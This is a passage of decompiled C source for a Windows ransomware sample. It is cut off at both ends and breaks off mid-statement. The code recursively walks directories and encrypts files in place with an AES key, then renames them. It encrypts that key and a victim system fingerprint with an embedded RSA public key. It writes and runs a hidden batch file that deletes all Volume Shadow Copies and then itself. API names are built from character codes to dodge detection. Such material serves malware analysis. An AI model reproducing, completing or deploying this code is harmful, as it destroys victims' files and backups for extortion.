- JUMPOUT(loc_403369);
- v5 = HeapAlloc(hHeap, 8u, 0x100000u);
- if ( !v5 )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dword_405390, v5) )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dword_405394, lpString2) )
- JUMPOUT(loc_403369);
- v6 = (CHAR *)TlsGetValue(dwTlsIndex);
- lstrcpyA(v6, (LPCSTR)lpString2);
- lstrcatA(v6, "*");
- RtlZeroMemory(lpString2, 4096);
- EncryptionLoop();
- v7 = TlsGetValue(dwTlsIndex);
- HeapFree(hHeap, 0, v7);
- v8 = TlsGetValue(dword_405384);
- HeapFree(hHeap, 0, v8);
- v9 = TlsGetValue(dword_405388);
- HeapFree(hHeap, 0, v9);
- v10 = TlsGetValue(dword_40538C);
- HeapFree(hHeap, 0, v10);
- v11 = TlsGetValue(dword_405390);
- HeapFree(hHeap, 0, v11);
- *a1 = 0;
- return HeapFree(hHeap, 0, lpString2);
- }
- // 403369: using guessed type int loc_403369();
- // 4033DC: using guessed type int __stdcall RtlZeroMemory(_DWORD, _DWORD);
- //----- (00401980) --------------------------------------------------------
- BOOL __cdecl EncryptionLoop()
- {
- BOOL result; // eax@1
- LPSTR v1; // eax@7
- int v2; // ST08_4@7
- int v3; // eax@9
- int v4; // ecx@14
- const CHAR *v5; // ebx@14
- int v6; // [sp-4h] [bp-160h]@15
- CHAR *v7; // [sp+0h] [bp-15Ch]@1
- CHAR *v8; // [sp+4h] [bp-158h]@1
- CHAR *v9; // [sp+8h] [bp-154h]@1
- CHAR *lpString1; // [sp+Ch] [bp-150h]@1
- const CHAR *lpString2; // [sp+10h] [bp-14Ch]@1
- void *v12; // [sp+14h] [bp-148h]@2
- int v13; // [sp+1Ah] [bp-142h]@1
- int v14; // [sp+36h] [bp-126h]@18
- unsigned int v15; // [sp+3Ah] [bp-122h]@19
- const CHAR String2; // [sp+46h] [bp-116h]@4
- int v17; // [sp+158h] [bp-4h]@2
- lpString2 = (const CHAR *)TlsGetValue(dwTlsIndex);
- lpString1 = (CHAR *)TlsGetValue(dword_405384);
- v9 = (CHAR *)TlsGetValue(dword_405388);
- v8 = (CHAR *)TlsGetValue(dword_40538C);
- v7 = (CHAR *)TlsGetValue(dword_405394);
- result = (BOOL)((char *)FindFirstFileA(lpString2, (LPWIN32_FIND_DATAA)&v13) + 1);
- if ( result )
- {
- v12 = (void *)(result - 1);
- v17 = 0;
- do
- {
- if ( v13 & 0x10 )
- {
- if ( lstrcmpiA(".", &String2) && lstrcmpiA("..", &String2) )
- {
- lstrcpyA(lpString1, lpString2);
- *PathFindFileNameA(lpString1) = 0;
- lstrcatA(lpString1, &String2);
- if ( lstrcmpiA(byte_4058A8, lpString1) )
- {
- v1 = PathFindFileNameA(lpString2);
- *v1 = 0;
- v2 = v1 - lpString2;
- lstrcatA((LPSTR)lpString2, &String2);
- sub_4025FF(lpString2);
- *(_DWORD *)&lpString2[lstrlenA(lpString2)] = 10844;
- EncryptionLoop();
- *(_DWORD *)&lpString2[v2 - 1] = 10844;
- }
- }
- }
- else
- {
- if ( lstrcmpiA("index.dat", &String2) )
- {
- v3 = lstrlenA(lpString2);
- lstrcpynA(v9, lpString2, v3);
- if ( !PathMatchSpecA(&String2, byte_410EE4) )
- {
- if ( !v17 )
- {
- sub_4011C2(v9, 0);
- ++v17;
- }
- lstrcatA(v9, &String2);
- if ( lstrcmpiA(byte_40FCCC, &String2) )
- {
- if ( !PathMatchSpecA(&String2, byte_410DCC) )
- {
- v4 = dword_40EAD0 - 1;
- v5 = dword_40EADC;
- while ( 1 )
- {
- v6 = v4;
- if ( PathMatchSpecA(v9, v5) == 1 )
- break;
- v5 += lstrlenA(v5) + 1;
- v4 = v6 - 1;
- if ( v6 == 1 )
- {
- if ( !dword_40EB00 || !v14 && v15 < dword_40EB00 )
- goto LABEL_24;
- break;
- }
- }
- lstrcpyA(v7, v9);
- if ( !EncryptFile(v9) )
- {
- lstrcpyA(v8, v9);
- lstrcatA(v8, ".");
- lstrcatA(v8, ::lpString2);
- MoveFileA(v9, v8);
- }
- }
- }
- }
- }
- }
- LABEL_24:
- ;
- }
- while ( FindNextFileA(v12, (LPWIN32_FIND_DATAA)&v13) );
- result = FindClose(v12);
- }
- return result;
- }
- // 40EAD0: using guessed type int dword_40EAD0;
- // 40EB00: using guessed type int dword_40EB00;
- //----- (00401C80) --------------------------------------------------------
- signed int __cdecl sub_401C80()
- {
- signed int result; // eax@2
- BYTE *v1; // eax@3
- int v2; // [sp+0h] [bp-4h]@5
- if ( CryptAcquireContextA((HCRYPTPROV *)&dword_40EB04, 0, 0, 0x18u, 0xF0000000u) )
- {
- CryptGenKey(dword_40EB04, 0x6610u, 0x1000001u, (HCRYPTKEY *)&dword_40EB08); //PROV_RSA_AES
- CryptExportKey(dword_40EB08, 0, 8u, 0, 0, &dword_40EB0C);
- v1 = (BYTE *)GlobalAlloc(0x40u, dword_40EB0C);
- if ( v1 )
- {
- dword_40EB10 = (int)v1;
- CryptExportKey(dword_40EB08, 0, 8u, 0, v1, &dword_40EB0C);
- v2 = 2;
- CryptSetKeyParam(dword_40EB08, 4u, (const BYTE *)&v2, 0);
- result = 1;
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- return result;
- }
- // 40EB04: using guessed type int dword_40EB04;
- // 40EB08: using guessed type int dword_40EB08;
- // 40EB10: using guessed type int dword_40EB10;
- //----- (00401D34) --------------------------------------------------------
- BOOL __cdecl sub_401D34()
- {
- CryptDestroyKey(dword_40EB08);
- return CryptReleaseContext(dword_40EB04, 0);
- }
- // 40EB04: using guessed type int dword_40EB04;
- // 40EB08: using guessed type int dword_40EB08;
- //----- (00401D4F) --------------------------------------------------------
- int __usercall sub_401D4F<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4<ebx>)
- {
- int result; // eax@3
- signed int v5; // ebp@4
- __int64 v6; // qdi@4
- unsigned __int8 v7; // cf@5
- unsigned __int8 v8; // tt@5
- unsigned __int8 v9; // tt@5
- if ( a4 || a1 )
- {
- v5 = 64;
- v6 = 0i64;
- do
- {
- v7 = __CFSHL__(a3, 1);
- a3 *= 2;
- v8 = __CFRCL__(a2, v7);
- a2 = __RCL__(a2, v7);
- v7 = v8;
- v9 = __CFRCL__(v6, v8);
- LODWORD(v6) = __RCL__(v6, v7);
- HIDWORD(v6) = __RCL__(HIDWORD(v6), v9);
- if ( v6 >= __PAIR__(a4, a1) )
- {
- v6 -= __PAIR__(a4, a1);
- ++a3;
- }
- --v5;
- }
- while ( v5 );
- result = v6;
- }
- else
- {
- result = a3;
- }
- return result;
- }
- //----- (00401D89) --------------------------------------------------------
- int __usercall sub_401D89<eax>(int a1<eax>, int a2<ecx>)
- {
- return a1 * a2;
- }
- //----- (00401DC3) --------------------------------------------------------
- int __stdcall sub_401DC3(int a1, int a2)
- {
- __int64 v2; // qax@1
- v2 = *(_QWORD *)a2 + *(_QWORD *)a1;
- *(_QWORD *)a1 = v2;
- return v2;
- }
- //----- (00401DE6) --------------------------------------------------------
- int __stdcall sub_401DE6(int a1, int a2)
- {
- __int64 v2; // qax@1
- v2 = *(_QWORD *)a1 - *(_QWORD *)a2;
- *(_QWORD *)a1 = v2;
- return v2;
- }
- //----- (00401E09) --------------------------------------------------------
- signed int __stdcall EncryptFile(const CHAR *a1)
- {
- HANDLE v1; // eax@1
- int v2; // edx@3
- int v3; // ecx@3
- int v4; // ecx@6
- int v5; // edx@6
- int v6; // eax@6
- unsigned int v7; // edx@6
- unsigned int v8; // ecx@6
- int v9; // eax@10
- unsigned int v11; // [sp-80h] [bp-DCh]@18
- unsigned int v12; // [sp-7Ch] [bp-D8h]@18
- void *v13; // [sp+4h] [bp-58h]@1
- char v14; // [sp+8h] [bp-54h]@18
- DWORD v15; // [sp+Ch] [bp-50h]@14
- char v16; // [sp+10h] [bp-4Ch]@24
- char v17; // [sp+18h] [bp-44h]@24
- char v18; // [sp+20h] [bp-3Ch]@24
- int v19; // [sp+28h] [bp-34h]@1
- LONG DistanceToMoveHigh[2]; // [sp+2Ch] [bp-30h]@1
- __int64 v21; // [sp+34h] [bp-28h]@1
- __int64 v22; // [sp+3Ch] [bp-20h]@1
- int v23; // [sp+44h] [bp-18h]@1
- int v24; // [sp+48h] [bp-14h]@1
- unsigned __int64 lDistanceToMove; // [sp+4Ch] [bp-10h]@1
- DWORD v26; // [sp+54h] [bp-8h]@1
- HANDLE hObject; // [sp+58h] [bp-4h]@1
- hObject = 0;
- v19 = 0;
- v26 = 0;
- lDistanceToMove = 0i64;
- v23 = 0;
- v24 = 0;
- v22 = 0i64;
- v21 = 0i64;
- DistanceToMoveHigh[0] = 0;
- DistanceToMoveHigh[1] = 0;
- v13 = TlsGetValue(dword_405390);
- sub_4025FF(a1);
- v1 = CreateFileA(a1, 0xC0000000u, 1u, 0, 3u, 0, 0);
- if ( v1 != (HANDLE)-1 )
- {
- hObject = v1;
- GetFileTime((LPCSTR)v1);
- GetFileSizeEx(hObject, (PLARGE_INTEGER)&lDistanceToMove);
- if ( lDistanceToMove >= 0x10 )
- {
- sub_401D4F(0xAu, SHIDWORD(lDistanceToMove), lDistanceToMove, 0);
- sub_401D89((unsigned __int8)byte_40EAEA, v3);
- sub_401D4F(0x10u, v2, v3, 0);
- if ( !v2 && !v3 )
- v3 = 1;
- v22 = __PAIR__(v2, v3);
- sub_401D89(16, v3);
- v23 = v4;
- v24 = v5;
- v6 = sub_401D4F(0x100000u, v5, v4, 0);
- v21 = __PAIR__(v7, v8);
- if ( v6 )
- ++v21;
- DistanceToMoveHigh[0] = 0;
- DistanceToMoveHigh[1] = 0;
- while ( 1 )
- {
- v9 = (unsigned __int64)v22 <= 0x10000 ? (_DWORD)v22 : 65536;
- v26 = 16 * v9;
- if ( SetFilePointer(hObject, DistanceToMoveHigh[0], &DistanceToMoveHigh[1], 0) == -1 )
- {
- if ( GetLastError() )
- break;
- }
- if ( !ReadFile(hObject, v13, v26, &v15, 0)
- || !CryptEncrypt(dword_40EB08, 0, 0, 0, (BYTE *)v13, &v15, 0x100000u)
- || SetFilePointer(hObject, DistanceToMoveHigh[0], &DistanceToMoveHigh[1], 0) == -1 && GetLastError()
- || !WriteFile(hObject, v13, v15, (LPDWORD)&v14, 0) )
- break;
- *(_QWORD *)DistanceToMoveHigh = (signed __int64)((double)*(signed __int64 *)DistanceToMoveHigh
- + (double)(signed int)v26);
- v22 = (signed __int64)((double)v22 - (double)65536);
- v19 = 1;
- v21 = (signed __int64)((double)v21 - (double)1);
- if ( !v21 )
- {
- v22 = __PAIR__(v11, v12);
- if ( (SetFilePointer(hObject, lDistanceToMove, (PLONG)&lDistanceToMove + 1, 0) != -1 || !GetLastError())
- && WriteFile(hObject, &v22, 8u, (LPDWORD)&v14, 0)
- && WriteFile(hObject, &dword_40EC2C, 4u, (LPDWORD)&v14, 0) )
- {
- SetFileTime(hObject, (const FILETIME *)&v18, (const FILETIME *)&v17, (const FILETIME *)&v16);
- CloseHandle(hObject);
- return 0;
- }
- break;
- }
- }
- }
- SetFileTime(hObject, (const FILETIME *)&v18, (const FILETIME *)&v17, (const FILETIME *)&v16);
- CloseHandle(hObject);
- }
- return 1;
- }
- // 40EAEA: using guessed type char byte_40EAEA;
- // 40EB08: using guessed type int dword_40EB08;
- // 40EC2C: using guessed type int dword_40EC2C;
- //----- (004020E1) --------------------------------------------------------
- int __cdecl sub_4020E1()
- {
- unsigned int v0; // eax@1
- const CHAR *v1; // edi@1
- char v2; // dl@1
- signed int v3; // ecx@1
- int v4; // edi@5
- const CHAR *v5; // esi@5
- BOOL v6; // eax@6
- const void *v8; // [sp+0h] [bp-3Ch]@6
- DWORD v9; // [sp+4h] [bp-38h]@6
- DWORD *v10; // [sp+8h] [bp-34h]@6
- struct _OVERLAPPED *v11; // [sp+Ch] [bp-30h]@6
- char v12; // [sp+10h] [bp-2Ch]@7
- const CHAR String; // [sp+18h] [bp-24h]@1
- int v14; // [sp+38h] [bp-4h]@1
- v14 = 6044240;
- dword_410FFC = 0;
- v0 = GetLogicalDrives();
- v1 = &String;
- v2 = 65;
- v3 = 26;
- do
- {
- if ( v0 & 1 )
- *v1++ = v2;
- v0 >>= 1;
- ++v2;
- --v3;
- }
- while ( v3 );
- *v1 = 0;
- v4 = lstrlenA(&String);
- v5 = &String;
- do
- {
- LOBYTE(v14) = *v5;
- v6 = GetDriveTypeA(&v14, v8, v9, v10, v11);
- BYTE3(v14) = 0;
- if ( v6 == 3 )
- {
- GetDiskFreeSpaceExA((LPCSTR)&v14, 0, (PULARGE_INTEGER)&v12, (PULARGE_INTEGER)&v10);
- sub_401DC3((int)&dword_410FEC, (int)&v12);
- sub_401DC3((int)&unk_410FE4, (int)&v10);
- ++dword_410FFC;
- }
- ++v5;
- --v4;
- }
- while ( v4 );
- dword_410FF4 = dword_410FEC;
- dword_410FF8 = dword_410FF0;
- return sub_401DE6((int)&dword_410FF4, (int)&unk_410FE4);
- }
- // 410FEC: using guessed type int dword_410FEC;
- // 410FF0: using guessed type int dword_410FF0;
- // 410FF4: using guessed type int dword_410FF4;
- // 410FF8: using guessed type int dword_410FF8;
- // 410FFC: using guessed type int dword_410FFC;
- // 4110B0: using guessed type int (*GetLogicalDrives)(void);
- //----- (004021AA) --------------------------------------------------------
- int __cdecl sub_4021AA()
- {
- HMODULE v0; // eax@1
- FARPROC v1; // eax@1
- HANDLE v2; // eax@2
- int v4; // [sp+0h] [bp-10h]@2
- FARPROC v5; // [sp+4h] [bp-Ch]@2
- HMODULE hModule; // [sp+8h] [bp-8h]@1
- int v7; // [sp+Ch] [bp-4h]@1
- v7 = 0;
- v0 = GetModuleHandleA("kernel32.dll");
- hModule = v0;
- v1 = GetProcAddress(v0, "IsWow64Process");
- if ( v1 )
- {
- v5 = v1;
- v2 = GetCurrentProcess();
- if ( ((int (__stdcall *)(HANDLE, int *))v5)(v2, &v4) )
- {
- if ( v4 == 1 )
- v7 = 1;
- }
- }
- return v7;
- }
- //----- (004021FD) --------------------------------------------------------
- int __stdcall sub_4021FD(int a1, int a2)
- {
- struct _OSVERSIONINFOA VersionInformation; // [sp+4h] [bp-B8h]@1
- char v4; // [sp+9Eh] [bp-1Eh]@1
- struct _FILETIME FileTime; // [sp+A0h] [bp-1Ch]@1
- struct _SYSTEMTIME SystemTime; // [sp+A8h] [bp-14h]@1
- int v7; // [sp+B8h] [bp-4h]@1
- v7 = a2;
- GetSystemTime(&SystemTime);
- SystemTimeToFileTime(&SystemTime, &FileTime);
- *(_DWORD *)(a2 + a1) = FileTime.dwLowDateTime;
- *(_DWORD *)(a2 + a1 + 4) = FileTime.dwHighDateTime;
- v7 += 8;
- VersionInformation.dwOSVersionInfoSize = 156;
- GetVersionExA(&VersionInformation);
- *(_BYTE *)(a2 + a1 + 8) = LOBYTE(VersionInformation.dwMajorVersion);
- *(_BYTE *)(a2 + a1 + 9) = LOBYTE(VersionInformation.dwMinorVersion);
- *(_BYTE *)(a2 + a1 + 10) = v4;
- v7 += 3;
- sub_4020E1();
- *(_DWORD *)(a2 + a1 + 11) = dword_410FFC;
- v7 += 4;
- *(_DWORD *)(a2 + a1 + 15) = dword_410FF4;
- *(_DWORD *)(a2 + a1 + 19) = dword_410FF8;
- v7 += 8;
- *(_DWORD *)(a2 + a1 + 23) = dword_410FEC;
- *(_DWORD *)(a2 + a1 + 27) = dword_410FF0;
- v7 += 8;
- *(_WORD *)(a2 + a1 + 31) = GetSystemMetrics(0);
- *(_WORD *)(a2 + a1 + 33) = GetSystemMetrics(1);
- v7 += 4;
- *(_BYTE *)(a2 + a1 + 35) = sub_4021AA();
- ++v7;
- return v7;
- }
- // 410FEC: using guessed type int dword_410FEC;
- // 410FF0: using guessed type int dword_410FF0;
- // 410FF4: using guessed type int dword_410FF4;
- // 410FF8: using guessed type int dword_410FF8;
- // 410FFC: using guessed type int dword_410FFC;
- //----- (004022E0) --------------------------------------------------------
- signed int __cdecl sub_4022E0()
- {
- signed int result; // eax@2
- HGLOBAL v1; // eax@5
- HCRYPTKEY v2; // [sp+0h] [bp-4h]@3
- if ( CryptAcquireContextA((HCRYPTPROV *)&dword_40EB18, 0, 0, 1u, 0xF0000000u) )
- {
- if ( CryptImportKey(dword_40EB18, (const BYTE *)&unk_40EC38, 0x94u, 0, 0, &v2) )
- {
- v1 = GlobalAlloc(0x40u, 0x100000u);
- if ( v1 )
- {
- dword_40EC30 = (int)v1;
- RtlMoveMemory(v1, dword_40EB10, dword_40EB0C, v2);
- dword_40EC34 = sub_4021FD(dword_40EC30, dword_40EB0C);
- if ( CryptEncrypt(v2, 0, 0, 0, (BYTE *)dword_40EC30, (DWORD *)&dword_40EC34, 0x100000u) )
- {
- CryptDestroyKey(v2);
- CryptReleaseContext(dword_40EB18, 0);
- result = 1;
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- return result;
- }
- // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
- // 40EB10: using guessed type int dword_40EB10;
- // 40EB18: using guessed type int dword_40EB18;
- // 40EC30: using guessed type int dword_40EC30;
- // 40EC34: using guessed type int dword_40EC34;
- //----- (004023B5) --------------------------------------------------------
- unsigned int __stdcall sub_4023B5(int a1, int a2)
- {
- int v2; // edx@1
- int v3; // ecx@1
- unsigned int result; // eax@1
- unsigned int v5; // eax@2
- char v6; // bl@3
- char v7; // cf@4
- v2 = a1;
- v3 = a2;
- result = 0;
- if ( a2 )
- {
- v5 = -1;
- do
- {
- LOBYTE(v5) = *(_BYTE *)v2++ ^ v5;
- v6 = 8;
- do
- {
- v7 = v5 & 1;
- v5 >>= 1;
- if ( v7 )
- v5 ^= 0xEDB88320u;
- --v6;
- }
- while ( v6 );
- --v3;
- }
- while ( v3 );
- result = ~v5;
- }
- return result;
- }
- // 4023B5: using guessed type _DWORD __stdcall sub_4023B5(_DWORD, _DWORD);
- //----- (004023E3) --------------------------------------------------------
- int __stdcall sub_4023E3(int a1, int a2)
- {
- int v2; // ecx@1
- int v3; // edi@1
- unsigned __int64 v4; // qax@2
- int result; // eax@3
- v2 = a1;
- v3 = a2;
- do
- {
- v4 = __rdtsc();
- *(_BYTE *)v3++ = (v4 & 0xF) + 97;
- --v2;
- }
- while ( v2 );
- result = 0;
- *(_BYTE *)v3 = 0;
- return result;
- }
- // 4023E3: using guessed type _DWORD __stdcall sub_4023E3(_DWORD, _DWORD);
- //----- (004023FF) --------------------------------------------------------
- int __cdecl CreateVSSbatch()
- {
- int v1; // [sp+0h] [bp-108h]@1
- char v2; // [sp+Ah] [bp-FEh]@1
- char v3; // [sp+Bh] [bp-FDh]@1
- char v4; // [sp+Ch] [bp-FCh]@1
- char v5; // [sp+Dh] [bp-FBh]@1
- char v6; // [sp+Eh] [bp-FAh]@1
- char v7; // [sp+Fh] [bp-F9h]@1
- char v8; // [sp+100h] [bp-8h]@1
- HANDLE hObject; // [sp+104h] [bp-4h]@1
- sub_4023E3(10, &v1);
- v2 = 46;
- v3 = 98;
- v4 = 97;
- v5 = 116;
- v6 = 0;
- v7 = 0;
- hObject = CreateFileA((LPCSTR)&v1, 0xC0000000u, 3u, 0, 2u, 0, 0);
- SetFilePointer(hObject, 0, 0, 0);
- LibFileName[0] = 118;
- LibFileName[1] = 115;
- LibFileName[2] = 115;
- LibFileName[3] = 97;
- LibFileName[4] = 100;
- LibFileName[5] = 109;
- LibFileName[6] = 105;
- LibFileName[7] = 110;
- LibFileName[8] = 32;
- LibFileName[9] = 100;
- LibFileName[10] = 101;
- LibFileName[11] = 108;
- LibFileName[12] = 101;
- LibFileName[13] = 116;
- LibFileName[14] = 101;
- LibFileName[15] = 32;
- LibFileName[16] = 115;
- LibFileName[17] = 104;
- LibFileName[18] = 97;
- LibFileName[19] = 100;
- LibFileName[20] = 111;
- LibFileName[21] = 119;
- LibFileName[22] = 115;
- LibFileName[23] = 32;
- LibFileName[24] = 47;
- LibFileName[25] = 97;
- LibFileName[26] = 108;
- LibFileName[27] = 108;
- LibFileName[28] = 32;
- LibFileName[29] = 47;
- LibFileName[30] = 113;
- LibFileName[31] = 117;
- LibFileName[32] = 105;
- LibFileName[33] = 101;
- LibFileName[34] = 116;
- LibFileName[35] = 32;
- LibFileName[36] = 13;
- LibFileName[37] = 10;
- LibFileName[38] = 100;
- LibFileName[39] = 101;
- LibFileName[40] = 108;
- LibFileName[41] = 32;
- LibFileName[42] = 47;
- LibFileName[43] = 102;
- LibFileName[44] = 32;
- LibFileName[45] = 47;
- LibFileName[46] = 113;
- LibFileName[47] = 32;
- LibFileName[48] = 37;
- LibFileName[49] = 48;
- LibFileName[50] = 0;
- WriteFile(hObject, LibFileName, 0x32u, (LPDWORD)&v8, 0);
- CloseHandle(hObject);
- return ShellExecute(0, 0, &v1, 0, 0, 0);
- }
- // 4023E3: using guessed type _DWORD __stdcall sub_4023E3(_DWORD, _DWORD);
- // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- //----- (0040253D) --------------------------------------------------------
- DWORD __cdecl sub_40253D()
- {
- DWORD v0; // eax@1
- DWORD v1; // eax@1
- DWORD v2; // eax@1
- DWORD v3; // eax@1
- DWORD v4; // eax@1
- DWORD result; // eax@1
- v0 = TlsAlloc();
- JUMPOUT(v0, 65535, loc_403369);
- dwTlsIndex = v0;
- v1 = TlsAlloc();
- JUMPOUT(v1, 65535, loc_403369);
- dword_405384 = v1;
- v2 = TlsAlloc();
- JUMPOUT(v2, 65535, loc_403369);
- dword_405388 = v2;
- v3 = TlsAlloc();
- JUMPOUT(v3, 65535, loc_403369);
- dword_40538C = v3;
- v4 = TlsAlloc();
- JUMPOUT(v4, 65535, loc_403369);
- dword_405390 = v4;
- result = TlsAlloc();
- JUMPOUT(result, 65535, loc_403369);
- dword_405394 = result;
- return result;
- }
- // 403369: using guessed type int loc_403369();
- //----- (004025BC) --------------------------------------------------------
- BOOL __cdecl sub_4025BC()
- {
- TlsFree(dwTlsIndex);
- TlsFree(dword_405384);
- TlsFree(dword_405388);
- TlsFree(dword_40538C);
- TlsFree(dword_405390);
- return TlsFree(dword_405394);
- }
- //----- (004025FF) --------------------------------------------------------
- DWORD __stdcall sub_4025FF(const CHAR *a1)
- {
- DWORD result; // eax@1
- result = GetFileAttributesA(a1);
- if ( result != -1 )
- {
- if ( result & 1 )
- result = SetFileAttributesA(a1, result & 0xFFFFFFFE);
- }
- return result;
- }
- //----- (0040262E) --------------------------------------------------------
- BOOL __cdecl sub_40262E()
- {
- CHAR String1; // [sp+0h] [bp-104h]@1
- HANDLE hObject; // [sp+100h] [bp-4h]@1
- GetWindowsDirectoryA(&String1, 256);
- PathAddBackslashA(&String1);
- lstrcatA(&String1, "explorer.exe");
- hObject = CreateFileA(&String1, 0x80000000u, 1u, 0, 3u, 0, 0);
- GetFileTime((LPCSTR)hObject);
- return CloseHandle(hObject);
- }
- // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
- //----- (004026A7) --------------------------------------------------------
- signed int __cdecl sub_4026A7()
- {
- HMODULE v0; // eax@1
- FARPROC ShellExecuteA; // eax@2
- FARPROC v2; // eax@3
- HMODULE v3; // eax@4
- FARPROC v4; // eax@5
- FARPROC v5; // eax@6
- FARPROC v6; // eax@7
- FARPROC v7; // eax@8
- HMODULE AdvapiLib; // eax@9
- FARPROC CryptSetKeyParam; // eax@10
- FARPROC v10; // eax@11
- FARPROC v11; // eax@12
- FARPROC v12; // eax@13
- FARPROC v13; // eax@14
- FARPROC v14; // eax@15
- FARPROC v15; // eax@16
- FARPROC v16; // eax@17
- HMODULE kernel32Lib; // eax@18
- FARPROC v18; // eax@19
- FARPROC v19; // eax@20
- FARPROC v20; // eax@21
- FARPROC v21; // eax@22
- FARPROC v22; // eax@23
- FARPROC v23; // eax@24
- FARPROC v24; // eax@25
- FARPROC v25; // eax@26
- FARPROC v26; // eax@27
- FARPROC v27; // eax@28
- FARPROC v28; // eax@29
- FARPROC v29; // eax@30
- FARPROC v30; // eax@31
- FARPROC v31; // eax@32
- FARPROC v32; // eax@33
- FARPROC v33; // eax@34
- FARPROC v34; // eax@35
- FARPROC v35; // eax@36
- FARPROC v36; // eax@37
- FARPROC v37; // eax@38
- FARPROC v38; // eax@39
- FARPROC v39; // eax@40
- FARPROC v40; // eax@41
- FARPROC v41; // eax@42
- FARPROC v42; // eax@43
- FARPROC v43; // eax@44
- int (*v44)(void); // eax@45
- FARPROC v45; // eax@46
- FARPROC v46; // eax@47
- FARPROC v47; // eax@48
- HMODULE netapi32Lib; // eax@49
- FARPROC v49; // eax@50
- FARPROC v50; // eax@51
- HMODULE MPRlib; // eax@52
- FARPROC v52; // eax@53
- FARPROC v53; // eax@54
- FARPROC v54; // eax@55
- signed int result; // eax@56
- LibFileName[0] = 115;
- LibFileName[1] = 104;
- LibFileName[2] = 101;
- LibFileName[3] = 108;
- LibFileName[4] = 108;
- LibFileName[5] = 51;
- LibFileName[6] = 50;
- LibFileName[7] = 46;
- LibFileName[8] = 100;
- LibFileName[9] = 108;
- LibFileName[10] = 108;
- LibFileName[11] = 0;
- LibFileName[12] = 0;
- v0 = LoadLibraryA(LibFileName);
- if ( v0
- && (hModule = v0,
- LibFileName[0] = 83,
- LibFileName[1] = 104,
- LibFileName[2] = 101,
- LibFileName[3] = 108,
- LibFileName[4] = 108,
- LibFileName[5] = 69,
- LibFileName[6] = 120,
- LibFileName[7] = 101,
- LibFileName[8] = 99,
- LibFileName[9] = 117,
- LibFileName[10] = 116,
- LibFileName[11] = 101,
- LibFileName[12] = 65,
- LibFileName[13] = 0,
- LibFileName[14] = 0,
- (ShellExecuteA = GetProcAddress(hModule, LibFileName)) != 0)
- && (ShellExecute = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))ShellExecuteA,
- LibFileName[0] = 83,
- LibFileName[1] = 72,
- LibFileName[2] = 71,
- LibFileName[3] = 101,
- LibFileName[4] = 116,
- LibFileName[5] = 83,
- LibFileName[6] = 112,
- LibFileName[7] = 101,
- LibFileName[8] = 99,
- LibFileName[9] = 105,
- LibFileName[10] = 97,
- LibFileName[11] = 108,
- LibFileName[12] = 70,
- LibFileName[13] = 111,
- LibFileName[14] = 108,
- LibFileName[15] = 100,
- LibFileName[16] = 101,
- LibFileName[17] = 114,
- LibFileName[18] = 80,
- LibFileName[19] = 97,
- LibFileName[20] = 116,
- LibFileName[21] = 104,
- LibFileName[22] = 65,
- LibFileName[23] = 0,
- LibFileName[24] = 0,
- (v2 = GetProcAddress(hModule, LibFileName)) != 0)
- && (*(_DWORD *)SHGetSpecialFolderPathA = v2,
- LibFileName[0] = 115,
- LibFileName[1] = 104,
- LibFileName[2] = 108,
- LibFileName[3] = 119,
- LibFileName[4] = 97,
- LibFileName[5] = 112,
- LibFileName[6] = 105,
- LibFileName[7] = 46,
- LibFileName[8] = 100,
- LibFileName[9] = 108,
- LibFileName[10] = 108,
- LibFileName[11] = 0,
- LibFileName[12] = 0,
- (v3 = LoadLibraryA(LibFileName)) != 0)
- && (shlwapiDLL = v3,
- LibFileName[0] = 80,
- LibFileName[1] = 97,
- LibFileName[2] = 116,
- LibFileName[3] = 104,
- LibFileName[4] = 70,
- LibFileName[5] = 105,
- LibFileName[6] = 110,
- LibFileName[7] = 100,
- LibFileName[8] = 70,
- LibFileName[9] = 105,
- LibFileName[10] = 108,
- LibFileName[11] = 101,
- LibFileName[12] = 78,
- LibFileName[13] = 97,
- LibFileName[14] = 109,
- LibFileName[15] = 101,
- LibFileName[16] = 65,
- LibFileName[17] = 0,
- LibFileName[18] = 0,
- (v4 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
- && (*(_DWORD *)PathFindFileNameA = v4,
- LibFileName[0] = 80,
- LibFileName[1] = 97,
- LibFileName[2] = 116,
- LibFileName[3] = 104,
- LibFileName[4] = 77,
- LibFileName[5] = 97,
- LibFileName[6] = 116,
- LibFileName[7] = 99,
- LibFileName[8] = 104,
- LibFileName[9] = 83,
- LibFileName[10] = 112,
- LibFileName[11] = 101,
- LibFileName[12] = 99,
- LibFileName[13] = 65,
- LibFileName[14] = 0,
- LibFileName[15] = 0,
- (v5 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
- && (*(_DWORD *)PathMatchSpecA = v5,
- LibFileName[0] = 80,
- LibFileName[1] = 97,
- LibFileName[2] = 116,
- LibFileName[3] = 104,
- LibFileName[4] = 65,
- LibFileName[5] = 100,
- LibFileName[6] = 100,
- LibFileName[7] = 66,
- LibFileName[8] = 97,
- LibFileName[9] = 99,
- LibFileName[10] = 107,
- LibFileName[11] = 115,
- LibFileName[12] = 108,
- LibFileName[13] = 97,
- LibFileName[14] = 115,
- LibFileName[15] = 104,
- LibFileName[16] = 65,
- LibFileName[17] = 0,
- LibFileName[18] = 0,
- (v6 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
- && (*(_DWORD *)PathAddBackslashA = v6,
- LibFileName[0] = 80,
- LibFileName[1] = 97,
- LibFileName[2] = 116,
- LibFileName[3] = 104,
- LibFileName[4] = 70,
- LibFileName[5] = 105,
- LibFileName[6] = 110,
- LibFileName[7] = 100,
- LibFileName[8] = 69,
- LibFileName[9] = 120,
- LibFileName[10] = 116,
- LibFileName[11] = 101,
- LibFileName[12] = 110,
- LibFileName[13] = 115,
- LibFileName[14] = 105,
- LibFileName[15] = 111,
- LibFileName[16] = 110,
- LibFileName[17] = 65,
- LibFileName[18] = 0,
- LibFileName[19] = 0,
